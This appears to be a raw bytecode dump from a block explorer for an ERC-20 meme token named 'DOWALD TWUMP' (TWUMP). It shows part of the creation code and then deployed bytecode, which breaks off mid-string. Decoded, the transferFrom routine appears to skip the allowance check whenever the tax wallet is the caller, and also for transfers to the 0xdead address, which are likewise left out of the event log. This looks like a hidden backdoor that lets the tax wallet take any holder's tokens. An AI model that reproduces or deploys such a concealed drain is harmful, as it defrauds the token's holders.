ffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516118c9919061226d565b60405180910390a35b61dead73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161461197f578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6119698486611fb890919063ffffffff16565b604051611976919061226d565b60405180910390a35b50505050565b5f8383111582906119cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119c3919061212f565b60405180910390fd5b505f83856119da9190612c47565b9050809150509392505050565b5f8083036119f7575f9050611a58565b5f8284611a0491906125a7565b9050828482611a139190612ca7565b14611a53576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a4a90612d47565b60405180910390fd5b809150505b92915050565b5f611a9f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061205e565b905092915050565b5f80600267ffffffffffffffff811115611ac457611ac3612d65565b5b604051908082528060200260200182016040528015611af25781602001602082028036833780820191505090505b50905030815f81518110611b0957611b08612d92565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611bad573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611bd191906126cc565b81600181518110611be557611be4612d92565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250505f600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d06ca61f85846040518363ffffffff1660e01b8152600401611c7c929190612e76565b5f60405180830381865afa158015611c96573d5f803e3d5ffd5b505050506040513d5f823e3d601f19601f82011682018060405250810190611cbe9190612fb7565b905080600181518110611cd457611cd3612d92565b5b602002602001015192505050919050565b6001600f60156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611d1c57611d1b612d65565b5b604051908082528060200260200182016040528015611d4a5781602001602082028036833780820191505090505b50905030815f81518110611d6157611d60612d92565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611e05573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611e2991906126cc565b81600181518110611e3d57611e3c612d92565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611ea330600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610f58565b600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611f05959493929190612ffe565b5f604051808303815f87803b158015611f1c575f80fd5b505af1158015611f2e573d5f803e3d5ffd5b50505050505f600f60156101000a81548160ff02191690831515021790555050565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611fb4573d5f803e3d5ffd5b5050565b5f611ff983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611985565b905092915050565b5f80828461200f9190612bac565b905083811015612054576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161204b906130a0565b60405180910390fd5b8091505092915050565b5f80831182906120a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161209b919061212f565b60405180910390fd5b505f83856120b29190612ca7565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f612101826120bf565b61210b81856120c9565b935061211b8185602086016120d9565b612124816120e7565b840191505092915050565b5f6020820190508181035f83015261214781846120f7565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61218982612160565b9050919050565b6121998161217f565b81146121a3575f80fd5b50565b5f813590506121b481612190565b92915050565b5f819050919050565b6121cc816121ba565b81146121d6575f80fd5b50565b5f813590506121e7816121c3565b92915050565b5f806040838503121561220357612202612158565b5b5f612210858286016121a6565b9250506020612221858286016121d9565b9150509250929050565b5f8115159050919050565b61223f8161222b565b82525050565b5f6020820190506122585f830184612236565b92915050565b612267816121ba565b82525050565b5f6020820190506122805f83018461225e565b92915050565b5f805f6060848603121561229d5761229c612158565b5b5f6122aa868287016121a6565b93505060206122bb868287016121a6565b92505060406122cc868287016121d9565b9150509250925092565b5f60ff82169050919050565b6122eb816122d6565b82525050565b5f6020820190506123045f8301846122e2565b92915050565b5f6020828403121561231f5761231e612158565b5b5f61232c848285016121a6565b91505092915050565b61233e8161217f565b82525050565b5f6020820190506123575f830184612335565b92915050565b5f806040838503121561237357612372612158565b5b5f612380858286016121a6565b9250506020612391858286016121a6565b9150509250929050565b5f6123a582612160565b9050919050565b6123b58161239b565b81146123bf575f80fd5b50565b5f813590506123d0816123ac565b92915050565b5f602082840312156123eb576123ea612158565b5b5f6123f8848285016123c2565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156124835780860481111561245f5761245e612401565b5b600185161561246e5780820291505b808102905061247c8561242e565b9450612443565b94509492505050565b5f8261249b5760019050612556565b816124a8575f9050612556565b81600181146124be57600281146124c8576124f7565b6001915050612556565b60ff8411156124da576124d9612401565b5b8360020a9150848211156124f1576124f0612401565b5b50612556565b5060208310610133831016604e8410600b841016171561252c5782820a90508381111561252757612526612401565b5b612556565b612539848484600161243a565b925090508184048111156125505761254f612401565b5b81810290505b9392505050565b5f612567826121ba565b9150612572836122d6565b925061259f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461248c565b905092915050565b5f6125b1826121ba565b91506125bc836121ba565b92508282026125ca816121ba565b915082820484148315176125e1576125e0612401565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f61261c6020836120c9565b9150612627826125e8565b602082019050919050565b5f6020820190508181035f83015261264981612610565b9050919050565b7f54726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f6126846017836120c9565b915061268f82612650565b602082019050919050565b5f6020820190508181035f8301526126b181612678565b9050919050565b5f815190506126c681612190565b92915050565b5f602082840312156126e1576126e0612158565b5b5f6126ee848285016126b8565b91505092915050565b5f60408201905061270a5f830185612335565b6127176020830184612335565b9392505050565b5f819050919050565b5f819050919050565b5f61274a6127456127408461271e565b612727565b6121ba565b9050919050565b61275a81612730565b82525050565b5f60c0820190506127735f830189612335565b612780602083018861225e565b61278d6040830187612751565b61279a6060830186612751565b6127a76080830185612335565b6127b460a083018461225e565b979650505050505050565b5f815190506127cd816121c3565b92915050565b5f805f606084860312156127ea576127e9612158565b5b5f6127f7868287016127bf565b9350506020612808868287016127bf565b9250506040612819868287016127bf565b9150509250925092565b5f6040820190506128365f830185612335565b612843602083018461225e565b9392505050565b6128538161222b565b811461285d575f80fd5b50565b5f8151905061286e8161284a565b92915050565b5f6020828403121561288957612888612158565b5b5f61289684828501612860565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6128f96024836120c9565b91506129048261289f565b604082019050919050565b5f6020820190508181035f830152612926816128ed565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6129876022836120c9565b91506129928261292d565b604082019050919050565b5f6020820190508181035f8301526129b48161297b565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612a156025836120c9565b9150612a20826129bb565b604082019050919050565b5f6020820190508181035f830152612a4281612a09565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612aa36023836120c9565b9150612aae82612a49565b604082019050919050565b5f6020820190508181035f830152612ad081612a97565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f612b316029836120c9565b9150612b3c82612ad7565b604082019050919050565b5f6020820190508181035f830152612b5e81612b25565b9050919050565b5f612b6f826121ba565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612ba157612ba0612401565b5b600182019050919050565b5f612bb6826121ba565b9150612bc1836121ba565b9250828201905080821115612bd957612bd8612401565b5b92915050565b7f4d61782073776170206c696d69740000000000000000000000000000000000005f82015250565b5f612c13600e836120c9565b9150612c1e82612bdf565b602082019050919050565b5f6020820190508181035f830152612c4081612c07565b9050919050565b5f612c51826121ba565b9150612c5c836121ba565b9250828203905081811115612c7457612c73612401565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f612cb1826121ba565b9150612cbc836121ba565b925082612ccc57612ccb612c7a565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f612d316021836120c9565b9150612d3c82612cd7565b604082019050919050565b5f6020820190508181035f830152612d5e81612d25565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b612df18161217f565b82525050565b5f612e028383612de8565b60208301905092915050565b5f602082019050919050565b5f612e2482612dbf565b612e2e8185612dc9565b9350612e3983612dd9565b805f5b83811015612e69578151612e508882612df7565b9750612e5b83612e0e565b925050600181019050612e3c565b5085935050505092915050565b5f604082019050612e895f83018561225e565b8181036020830152612e9b8184612e1a565b90509392505050565b5f80fd5b612eb1826120e7565b810181811067ffffffffffffffff82111715612ed057612ecf612d65565b5b80604052505050565b5f612ee261214f565b9050612eee8282612ea8565b919050565b5f67ffffffffffffffff821115612f0d57612f0c612d65565b5b602082029050602081019050919050565b5f80fd5b5f612f34612f2f84612ef3565b612ed9565b90508083825260208201905060208402830185811115612f5757612f56612f1e565b5b835b81811015612f805780612f6c88826127bf565b845260208401935050602081019050612f59565b5050509392505050565b5f82601f830112612f9e57612f9d612ea4565b5b8151612fae848260208601612f22565b91505092915050565b5f60208284031215612fcc57612fcb612158565b5b5f82015167ffffffffffffffff811115612fe957612fe861215c565b5b612ff584828501612f8a565b91505092915050565b5f60a0820190506130115f83018861225e565b61301e6020830187612751565b81810360408301526130308186612e1a565b905061303f6060830185612335565b61304c608083018461225e565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f61308a601b836120c9565b915061309582613056565b602082019050919050565b5f6020820190508181035f8301526130b78161307e565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220481a40ec957e1f23877c199a2b4c7f199911e9e87bcacf3b7ad9ac891d88f9a664736f6c634300081a0033
Deployed Bytecode
0x6080604052600436106100f6575f3560e01c8063715018a611610089578063a9059cbb11610058578063a9059cbb146102f3578063dc567d0a1461032f578063dd62ed3e14610359578063ea414b2814610395576100fd565b8063715018a6146102735780638a8c523c146102895780638da5cb5b1461029f57806395d89b41146102c9576100fd565b806323b872dd116100c557806323b872dd146101a7578063313ce567146101e357806334376f3b1461020d57806370a0823114610237576100fd565b806306fdde0314610101578063095ea7b31461012b57806318160ddd1461016757806320969d0714610191576100fd565b366100fd57005b5f80fd5b34801561010c575f80fd5b506101156103bd565b604051610122919061212f565b60405180910390f35b348015610136575f80fd5b50610151600480360381019061014c91906121ed565b6103fa565b60405161015e9190612245565b60405180910390f35b348015610172575f80fd5b5061017b610417565b604051610188919061226d565b60405180910390f35b34801561019c575f80fd5b506101a561043a565b005b3480156101b2575f80fd5b506101cd60048036038101906101c89190612286565b610526565b6040516101da9190612245565b60405180910390f35b3480156101ee575f80fd5b506101f76106e2565b60405161020491906122f1565b60405180910390f35b348015610218575f80fd5b506102216106ea565b60405161022e919061226d565b60405180910390f35b348015610242575f80fd5b5061025d6004803603810190610258919061230a565b6106f0565b60405161026a919061226d565b60405180910390f35b34801561027e575f80fd5b50610287610736565b005b348015610294575f80fd5b5061029d610884565b005b3480156102aa575f80fd5b506102b3610da6565b6040516102c09190612344565b60405180910390f35b3480156102d4575f80fd5b506102dd610dcd565b6040516102ea919061212f565b60405180910390f35b3480156102fe575f80fd5b50610319600480360381019061031491906121ed565b610e0a565b6040516103269190612245565b60405180910390f35b34801561033a575f80fd5b50610343610e27565b604051610350919061226d565b60405180910390f35b348015610364575f80fd5b5061037f600480360381019061037a919061235d565b610e2d565b60405161038c919061226d565b60405180910390f35b3480156103a0575f80fd5b506103bb60048036038101906103b691906123d6565b610eaf565b005b60606040518060400160405280600c81526020017f444f57414c44205457554d500000000000000000000000000000000000000000815250905090565b5f61040d610406610f51565b8484610f58565b6001905092915050565b5f6009600a610426919061255d565b633b9aca0061043591906125a7565b905090565b610442610f51565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104c590612632565b60405180910390fd5b5f47116104d9575f80fd5b6104e1610f51565b73ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015610523573d5f803e3d5ffd5b50565b5f61053284848461111b565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141580156106145750600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480610613575061dead73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b156106d7576106d684610625610f51565b6106d1856040518060600160405280602881526020016130bf6028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610688610f51565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546119859092919063ffffffff16565b610f58565b5b600190509392505050565b5f6009905090565b600c5481565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b61073e610f51565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c190612632565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b61088c610f51565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610918576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161090f90612632565b60405180910390fd5b600f60149054906101000a900460ff1615610968576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161095f9061269a565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d600e5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610a0430600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a6109f0919061255d565b633b9aca006109ff91906125a7565b610f58565b600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a6e573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a9291906126cc565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b18573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b3c91906126cc565b6040518363ffffffff1660e01b8152600401610b599291906126f7565b6020604051808303815f875af1158015610b75573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b9991906126cc565b600f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610c20306106f0565b5f80610c2a610da6565b426040518863ffffffff1660e01b8152600401610c4c96959493929190612760565b60606040518083038185885af1158015610c68573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610c8d91906127d3565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60146101000a81548160ff021916908315150217905550600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610d63929190612823565b6020604051808303815f875af1158015610d7f573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610da39190612874565b50565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f5457554d50000000000000000000000000000000000000000000000000000000815250905090565b5f610e1d610e16610f51565b848461111b565b6001905092915050565b600d5481565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610eef610f51565b73ffffffffffffffffffffffffffffffffffffffff1614610f0e575f80fd5b8060045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610fc6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fbd9061290f565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611034576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102b9061299d565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161110e919061226d565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611189576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118090612a2b565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036111f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ee90612ab9565b60405180910390fd5b5f8111611239576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123090612b47565b60405180910390fd5b5f611242610da6565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156112b05750611280610da6565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156112e857503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561132057503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561169f57600f60159054906101000a900460ff16611378576113756064611367600954600b541161135457600754611358565b6008545b856119e790919063ffffffff16565b611a5e90919063ffffffff16565b90505b600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156114215750600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611474575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b80156114cd575060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156114ea57600b5f8154809291906114e490612b65565b91905055505b5f6114f4306106f0565b9050600f60159054906101000a900460ff1615801561155f5750600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80156115b8575060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156115d05750600f60169054906101000a900460ff165b80156115df5750600a54600b54115b1561169d576011544311156115f6575f6010819055505b6115ff83611aa7565b60105461160c9190612bac565b601081905550600d546010541115611659576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165090612c29565b60405180910390fd5b600c5481111561167f5761167e83600c541161167757600c54611679565b835b611ce5565b5b5f4790505f81106116945761169347611f50565b5b43601181905550505b505b6116ef8260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611fb890919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506117926117468284611fb890919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461200190919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f8111156118d25761182b8160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461200190919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516118c9919061226d565b60405180910390a35b61dead73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161461197f578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6119698486611fb890919063ffffffff16565b604051611976919061226d565b60405180910390a35b50505050565b5f8383111582906119cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119c3919061212f565b60405180910390fd5b505f83856119da9190612c47565b9050809150509392505050565b5f8083036119f7575f9050611a58565b5f8284611a0491906125a7565b9050828482611a139190612ca7565b14611a53576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a4a90612d47565b60405180910390fd5b809150505b92915050565b5f611a9f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061205e565b905092915050565b5f80600267ffffffffffffffff811115611ac457611ac3612d65565b5b604051908082528060200260200182016040528015611af25781602001602082028036833780820191505090505b50905030815f81518110611b0957611b08612d92565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611bad573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611bd191906126cc565b81600181518110611be557611be4612d92565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250505f600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d06ca61f85846040518363ffffffff1660e01b8152600401611c7c929190612e76565b5f60405180830381865afa158015611c96573d5f803e3d5ffd5b505050506040513d5f823e3d601f19601f82011682018060405250810190611cbe9190612fb7565b905080600181518110611cd457611cd3612d92565b5b602002602001015192505050919050565b6001600f60156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611d1c57611d1b612d65565b5b604051908082528060200260200182016040528015611d4a5781602001602082028036833780820191505090505b50905030815f81518110611d6157611d60612d92565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611e05573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611e2991906126cc565b81600181518110611e3d57611e3c612d92565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611ea330600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610f58565b600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611f05959493929190612ffe565b5f604051808303815f87803b158015611f1c575f80fd5b505af1158015611f2e573d5f803e3d5ffd5b50505050505f600f60156101000a81548160ff02191690831515021790555050565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611fb4573d5f803e3d5ffd5b5050565b5f611ff983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611985565b905092915050565b5f80828461200f9190612bac565b905083811015612054576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161204b906130a0565b60405180910390fd5b8091505092915050565b5f80831182906120a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161209b919061212f565b60405180910390fd5b505f83856120b29190612ca7565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f612101826120bf565b61210b81856120c9565b935061211b8185602086016120d9565b612124816120e7565b840191505092915050565b5f6020820190508181035f83015261214781846120f7565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61218982612160565b9050919050565b6121998161217f565b81146121a3575f80fd5b50565b5f813590506121b481612190565b92915050565b5f819050919050565b6121cc816121ba565b81146121d6575f80fd5b50565b5f813590506121e7816121c3565b92915050565b5f806040838503121561220357612202612158565b5b5f612210858286016121a6565b9250506020612221858286016121d9565b9150509250929050565b5f8115159050919050565b61223f8161222b565b82525050565b5f6020820190506122585f830184612236565b92915050565b612267816121ba565b82525050565b5f6020820190506122805f83018461225e565b92915050565b5f805f6060848603121561229d5761229c612158565b5b5f6122aa868287016121a6565b93505060206122bb868287016121a6565b92505060406122cc868287016121d9565b9150509250925092565b5f60ff82169050919050565b6122eb816122d6565b82525050565b5f6020820190506123045f8301846122e2565b92915050565b5f6020828403121561231f5761231e612158565b5b5f61232c848285016121a6565b91505092915050565b61233e8161217f565b82525050565b5f6020820190506123575f830184612335565b92915050565b5f806040838503121561237357612372612158565b5b5f612380858286016121a6565b9250506020612391858286016121a6565b9150509250929050565b5f6123a582612160565b9050919050565b6123b58161239b565b81146123bf575f80fd5b50565b5f813590506123d0816123ac565b92915050565b5f602082840312156123eb576123ea612158565b5b5f6123f8848285016123c2565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156124835780860481111561245f5761245e612401565b5b600185161561246e5780820291505b808102905061247c8561242e565b9450612443565b94509492505050565b5f8261249b5760019050612556565b816124a8575f9050612556565b81600181146124be57600281146124c8576124f7565b6001915050612556565b60ff8411156124da576124d9612401565b5b8360020a9150848211156124f1576124f0612401565b5b50612556565b5060208310610133831016604e8410600b841016171561252c5782820a90508381111561252757612526612401565b5b612556565b612539848484600161243a565b925090508184048111156125505761254f612401565b5b81810290505b9392505050565b5f612567826121ba565b9150612572836122d6565b925061259f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461248c565b905092915050565b5f6125b1826121ba565b91506125bc836121ba565b92508282026125ca816121ba565b915082820484148315176125e1576125e0612401565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f74207468652